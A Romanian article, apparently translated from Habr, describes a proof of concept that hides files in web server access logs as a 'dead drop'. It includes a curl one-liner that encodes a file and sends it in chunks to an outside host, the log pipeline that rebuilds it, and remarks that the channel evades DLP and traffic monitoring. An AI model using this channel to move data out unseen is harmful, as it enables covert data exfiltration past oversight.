Schimb de mesaje secrete prin jurnalele serverului

Conform definiției Wikipedia, o picătură moartă este un instrument de conspirație care servește la schimbul de informații sau unele articole între oameni care folosesc o locație secretă. Ideea este că oamenii nu se întâlnesc niciodată - dar totuși fac schimb de informații pentru a menține siguranța operațională.

Ascunzătoarea nu trebuie să atragă atenția. Prin urmare, în lumea offline folosesc adesea lucruri discrete: o cărămidă slăbită în perete, o carte de bibliotecă sau o scobitură într-un copac.

Există multe instrumente de criptare și anonimizare pe Internet, dar însuși faptul de a folosi aceste instrumente atrage atenția. În plus, acestea pot fi blocate la nivel corporativ sau guvernamental. Ce să fac?

Dezvoltatorul Ryan Flowers a propus o opțiune interesantă - utilizați orice server web ca ascunzătoare. Dacă te gândești bine, ce face un server web? Primește cereri, emite fișiere și scrie jurnalele. Și înregistrează toate cererile, chiar și cele incorecte!

Se pare că orice server web vă permite să salvați aproape orice mesaj în jurnal. Flowers s-a întrebat cum să folosească asta.

El oferă această opțiune:

  1. Luați un fișier text (mesaj secret) și calculați hash (md5sum).
  2. Îl codificăm (gzip+uuencode).
  3. Scriem în jurnal folosind o solicitare deliberat incorectă către server.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Pentru a citi un fișier, trebuie să efectuați aceste operațiuni în ordine inversă: decodați și dezarhivați fișierul, verificați hash-ul (hash-ul poate fi transmis în siguranță pe canale deschise).

Spațiile sunt înlocuite cu =+=astfel încât să nu existe spații în adresă. Programul, pe care autorul îl numește CurlyTP, folosește codificarea base64, precum atașamentele de e-mail. Solicitarea se face cu un cuvânt cheie ?transfer?astfel încât destinatarul să-l găsească cu ușurință în jurnalele.

Ce vedem în jurnalele în acest caz?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

După cum sa menționat deja, pentru a primi un mesaj secret, trebuie să efectuați operațiunile în ordine inversă:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Procesul este ușor de automatizat. Md5sum se potrivește, iar conținutul fișierului confirmă că totul a fost decodat corect.

Metoda este foarte simplă. „Scopul acestui exercițiu este doar acela de a demonstra că fișierele pot fi transferate prin mici cereri web inocente și funcționează pe orice server web cu jurnalele de text simplu. În esență, fiecare server web este o ascunzătoare!” scrie Flowers.

Desigur, metoda funcționează numai dacă destinatarul are acces la jurnalele serverului. Dar un astfel de acces este asigurat, de exemplu, de mulți hosteri.

Cum să-l folosească?

Ryan Flowers spune că nu este un expert în securitatea informațiilor și nu va compila o listă de posibile utilizări pentru CurlyTP. Pentru el, este doar o dovadă a conceptului că instrumentele familiare pe care le vedem în fiecare zi pot fi folosite într-un mod neconvențional.

De fapt, această metodă are o serie de avantaje față de alte „ascunsuri” de server precum Digital Dead Drop sau PirateBox: nu necesită configurare specială pe partea de server sau orice protocoale speciale - și nu va trezi suspiciuni în rândul celor care monitorizează traficul. Este puțin probabil ca un sistem SORM sau DLP să scaneze adresele URL pentru fișiere text comprimate.

Aceasta este una dintre modalitățile de a transmite mesaje prin fișierele de serviciu. Vă puteți aminti cum au fost plasate unele companii avansate Locuri de muncă pentru dezvoltatori în anteturile HTTP sau în codul paginilor HTML.

Schimb de mesaje secrete prin jurnalele serverului

Ideea a fost că numai dezvoltatorii web ar vedea acest ou de Paște, deoarece o persoană normală nu s-ar uita la anteturi sau codul HTML.

Schimb de mesaje secrete prin jurnalele serverului

Sursa: www.habr.com

Adauga un comentariu